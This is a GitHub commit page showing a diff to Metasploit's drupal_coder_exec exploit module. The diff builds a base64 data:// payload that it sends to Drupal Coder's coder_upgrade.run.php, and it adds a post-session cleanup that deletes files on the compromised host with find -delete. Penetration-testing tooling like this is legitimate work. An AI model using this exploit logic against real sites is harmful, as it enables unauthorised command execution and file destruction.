Skip to content

Commit 3eb3c5a

Browse files
committed
Land rapid7#7215, Fix drupal_coder_exec bugs rapid7#7215
2 parents bc9a402 + 4228868 commit 3eb3c5a

File tree

1 file changed

+11
-3
lines changed

1 file changed

+11
-3
lines changed

modules/exploits/unix/webapp/drupal_coder_exec.rb

Lines changed: 11 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -43,7 +43,7 @@ def initialize(info={})
4343
'Compat' =>
4444
{
4545
'PayloadType' => 'cmd cmd_bash',
46-
'RequiredCmd' => 'netcat netcat-e bash-tcp'
46+
'RequiredCmd' => 'generic netcat netcat-e bash-tcp'
4747
},
4848
},
4949
'Platform' => ['unix'],
@@ -87,15 +87,23 @@ def exploit
8787
p << payload.encoded
8888
p << ' #";s:4:"name";s:4:"test";}}}'
8989

90-
payload = "data://text/plain;base64,#{Rex::Text.encode_base64(p)}"
90+
pl = "data://text/plain;base64,#{Rex::Text.encode_base64(p)}"
9191

9292
send_request_cgi(
9393
'method' => 'GET',
9494
'uri' => normalize_uri(target_uri.path, 'sites/all/modules/coder/coder_upgrade/scripts/coder_upgrade.run.php'),
9595
'encode_params' => false,
9696
'vars_get' => {
97-
'file' => payload
97+
'file' => pl
9898
}
9999
)
100100
end
101+
102+
# XXX: FileDropper can't handle weird filenames
103+
def on_new_session(session)
104+
# This find command should be decently portable...
105+
command = '[ -f coder_upgrade.run.php ] && find . \! -name coder_upgrade.run.php -delete'
106+
print_status("Cleaning up: #{command}")
107+
session.shell_command_token(command)
108+
end
101109
end

0 commit comments

Comments
 (0)